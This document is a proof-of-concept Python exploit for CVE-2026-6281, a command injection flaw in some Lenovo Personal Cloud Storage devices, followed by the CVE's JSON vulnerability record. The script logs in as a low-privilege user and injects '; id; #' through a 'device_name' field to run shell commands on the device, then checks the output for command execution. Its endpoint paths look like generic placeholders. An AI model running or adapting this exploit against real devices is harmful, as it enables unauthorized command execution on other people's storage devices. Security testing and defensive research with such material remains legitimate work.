CVE-2026-6281

import requests # Target configuration target_url = "http://<TARGET_IP>:<PORT>/api/endpoint" username = "low_priv_user" password = "password" def exploit_cve_2026_6281(): session = requests.Session() # Step 1: Authenticate to the device print("[+] Attempting to login as %s..." % username) login_data = { "username": username, "password": password } try: login_resp = session.post(target_url + "/login", json=login_data) if login_resp.status_code != 200 or "session_id" not in login_resp.cookies: print("[-] Login failed.") return print("[+] Login successful.") except Exception as e: print("[-] Connection error: %s" % e) return # Step 2: Send payload to execute arbitrary command # Example: Injecting 'id' command via vulnerable parameter malicious_payload = { "device_name": "; id; #", "action": "update_settings" } print("[+] Sending malicious payload...") exploit_resp = session.post(target_url + "/settings", json=malicious_payload) # Step 3: Check if command execution was successful if exploit_resp.status_code == 200: print("[+] Payload sent. Checking response...") if "uid=" in exploit_resp.text or "gid=" in exploit_resp.text: print("[!] Command injection successful!") print("Response:") print(exploit_resp.text) else: print("[-] Exploit did not return expected output (might be blind or patched).") else: print("[-] Request failed with status code: %d" % exploit_resp.status_code) if __name__ == "__main__": exploit_cve_2026_6281()

{"cve": {"id": "CVE-2026-6281", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:17:01.773", "lastModified": "2026-05-13T16:27:11.127", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A potential vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user on the local network to execute arbitrary commands on the device."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://iknow.lenovo.com.cn/detail/440274", "source": "[email protected]"}, {"url": "https://pc.lenovo.com.cn/tips/Ann/t1_eol.html", "source": "[email protected]"}]}}